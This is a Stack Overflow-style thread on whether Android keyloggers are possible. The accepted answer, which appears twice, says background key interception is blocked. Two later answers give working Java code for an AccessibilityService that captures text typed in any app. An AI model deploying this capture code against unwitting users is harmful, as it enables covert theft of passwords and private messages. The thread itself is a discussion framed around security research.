Android Key logger
Asked Answered
M

3

22

Intro: I want to create a POC on Android Security which requires to identify if there is any KeyLogger running on Android device or not. And if it is running or installed on device then, disable it throughout my Android application.

Queries:

1.) Is this possible to create Android keyloggers which intercepts keyboard events and running in background as services?

2.) Is this possible to identify if any of the background process handelling keyboard events?

3.) Can I stop any other background service (not owned by me) by my application code?

Please help me with suitable links if you have.

Mahdi answered 2/12, 2014 at 8:44 Comment(2)
did you find your answer?Frankhouse
Yes, I have updated my finding as an accepted answer please go through it.Mahdi
M
7

After research for 1 whole day I reached at below conclusion.

Android does not allow you to intercepts default soft keyboard inputs from background services. The only way to intercepts these events are custom keyboards.

I have summarized it as follows:

In Android Key logging for keyboard events is not supported in background services. Some of the links are as follows:

Point 1: Google Android Developer

As soft input methods can use multiple and inventive ways of inputting text, there is no guarantee that any key press on a soft keyboard will generate a key event: this is left to the IME's discretion, and in fact sending such events is discouraged. You should never rely on receiving KeyEvents for any key on a soft input method. In particular, the default software keyboard will never send any key event to any application targetting Jelly Bean or later, and will only send events for some presses of the delete and return keys to applications targetting Ice Cream Sandwich or earlier.

http://developer.android.com/reference/android/view/KeyEvent.html

Android Jelly Bean is: 4.1 to 4.3.1 Android IceCream Sandwich: 4.0

Key presses on soft input methods are not required to trigger the methods in this listener, and are in fact discouraged to do so. The default android keyboard will not trigger these for any key to any application targetting Jelly Bean or later, and will only deliver it for some key presses to applications targetting Ice Cream Sandwich or earlier.

http://developer.android.com/reference/android/text/method/KeyListener.html

Point 2: Stack Overflow KeyEvents can only be handled by Activities as they are the interface to the user pressing the keys and only when they are in the foreground. Even Services that run in the background are not intended to react on user input.

Android - Listener for hard keys press at background

Is it possible to create an Android Service that listens for hardware key presses?

Point 3: Romain Guy Romain Guy (https://stackoverflow.com/users/298575/romain-guy) who works for Google also confirms it onKeyDown in a service? (Global Hot Keys)

Point 4: Some Other reference:

Google android-developers Group : https://groups.google.com/forum/#!topic/android-developers/o--GUWmqXdI

It can be done only by using Custom KeyBoard: get pressed key and throw another key in android

Please add your comments if you think that I have missed anything.

Mahdi answered 3/12, 2014 at 6:22 Comment(3)
thank you so much for this documentation. Im investigating something similar and was wondering if I could bounce questions off you? Not sure if my email appears on my profile but if you'd like, please email me at cgmckeever ... gmail. Thanks!Georgeanngeorgeanna
see the Type machine app. According to you if this id not possible, then how it is working?Frankhouse
Right now I don't have much time to look into that. That was my finding around 2 years back. You can review the app and post your views after that.Mahdi
M
26

I know this question already has an accepted answer but I disagree with the accepted answer!
This can be done in android via the accessibility APIs.
Take a look at the below program :

Type Machine

It uses the accessibility APIs, and correctly stores every key stroke you type in any application which is essentially what a key logger does!
EDIT : I am not exactly sure what TypeMachine uses but you should be able to get the text from accessibility service using this method. For Example, the following code can be used to get a new text:

void onViewTextChanged(AccessibilityEvent accessibilityEvent, AccessibilityNodeInfo accessibilityNodeInfo) {
     List text = accessibilityEvent.getText();
     CharSequence latestText = (CharSequence) text.get(0);
     Log.i(MY_TAG, latestText.toString());
}
Manns answered 17/1, 2015 at 15:0 Comment(2)
plus 1 for mentioning type machine but how to implement this? Any examples with code?Frankhouse
@14bce109 : I have now edited my answer to include an example code.Manns
L
17

As a follow up on @ananth's answer, here is a complete code example on how to implement a keylogger using Accessibility Service.

But, this requires permissions to bind your Service with the system and also the user has to explicitly turn on the Service you create by navigating to Settings>Accessibility>{Your app name} on Android devices. So, if you have evil intensions, good luck with that.

Step 1: Paste this in your manifest file.

<application>
...
<service android:name=".MyAccessibilityService"
            android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
            <intent-filter>
                <action android:name="android.accessibilityservice.AccessibilityService" />
            </intent-filter>
</service>
</application>

Step 2: Create a class for your Accessibility Service.

public class MyAccessibilityService extends AccessibilityService {
    @Override
    public void onAccessibilityEvent(AccessibilityEvent event) {
        final int eventType = event.getEventType();
        String eventText = null;
        switch(eventType) {
            /*
                You can use catch other events like touch and focus

                case AccessibilityEvent.TYPE_VIEW_CLICKED:
                     eventText = "Clicked: ";
                     break;
                case AccessibilityEvent.TYPE_VIEW_FOCUSED:
                     eventText = "Focused: ";
                     break;
            */
            case AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED:
                eventText = "Typed: ";
                break;
        }
        eventText = eventText + event.getText();

        //print the typed text in the console. Or do anything you want here.
        System.out.println("ACCESSIBILITY SERVICE : "+eventText);

    }

    @Override
    public void onInterrupt() {
        //whatever
    }

    @Override
    public void onServiceConnected() {
        //configure our Accessibility service
        AccessibilityServiceInfo info=getServiceInfo();
        info.eventTypes = AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED;
        info.feedbackType = AccessibilityServiceInfo.FEEDBACK_SPOKEN;
        info.notificationTimeout = 100;
        this.setServiceInfo(info);
    }

}

That's it. Now, everything the user types in any app on their phone will be logged to the console. You can configure the above class to listen to the keystrokes from certain specified apps only if you want to. The above class is independent of your MainActivity. The service will get registered as soon as your app is installed. But, again, in order to work, this requires manual toggling of settings as mentioned previously.

Read the docs for detailed explanation on what Accessibility is and details on each of the classes and methods used above.

Laise answered 22/7, 2018 at 18:31 Comment(3)
Hi @Nandan Desai, I have tried this one, it works only when the accessibility permission is enabled for the first time, after that the onServiceConnected() is never called I also want to run this at the background all the time, it should never stop Please tell me how i can do this ThanksLitchfield
@Litchfield I would suggest you to read the documentation on Accessibility service. developer.android.com/reference/android/accessibilityservice/…Laise
can you help me out with this question? #67224706Boadicea
M
7

After research for 1 whole day I reached at below conclusion.

Android does not allow you to intercepts default soft keyboard inputs from background services. The only way to intercepts these events are custom keyboards.

I have summarized it as follows:

In Android Key logging for keyboard events is not supported in background services. Some of the links are as follows:

Point 1: Google Android Developer

As soft input methods can use multiple and inventive ways of inputting text, there is no guarantee that any key press on a soft keyboard will generate a key event: this is left to the IME's discretion, and in fact sending such events is discouraged. You should never rely on receiving KeyEvents for any key on a soft input method. In particular, the default software keyboard will never send any key event to any application targetting Jelly Bean or later, and will only send events for some presses of the delete and return keys to applications targetting Ice Cream Sandwich or earlier.

http://developer.android.com/reference/android/view/KeyEvent.html

Android Jelly Bean is: 4.1 to 4.3.1 Android IceCream Sandwich: 4.0

Key presses on soft input methods are not required to trigger the methods in this listener, and are in fact discouraged to do so. The default android keyboard will not trigger these for any key to any application targetting Jelly Bean or later, and will only deliver it for some key presses to applications targetting Ice Cream Sandwich or earlier.

http://developer.android.com/reference/android/text/method/KeyListener.html

Point 2: Stack Overflow KeyEvents can only be handled by Activities as they are the interface to the user pressing the keys and only when they are in the foreground. Even Services that run in the background are not intended to react on user input.

Android - Listener for hard keys press at background

Is it possible to create an Android Service that listens for hardware key presses?

Point 3: Romain Guy Romain Guy (https://stackoverflow.com/users/298575/romain-guy) who works for Google also confirms it onKeyDown in a service? (Global Hot Keys)

Point 4: Some Other reference:

Google android-developers Group : https://groups.google.com/forum/#!topic/android-developers/o--GUWmqXdI

It can be done only by using Custom KeyBoard: get pressed key and throw another key in android

Please add your comments if you think that I have missed anything.

Mahdi answered 3/12, 2014 at 6:22 Comment(3)
thank you so much for this documentation. Im investigating something similar and was wondering if I could bounce questions off you? Not sure if my email appears on my profile but if you'd like, please email me at cgmckeever ... gmail. Thanks!Georgeanngeorgeanna
see the Type machine app. According to you if this id not possible, then how it is working?Frankhouse
Right now I don't have much time to look into that. That was my finding around 2 years back. You can review the app and post your views after that.Mahdi

© 2022 - 2024 — McMap. All rights reserved.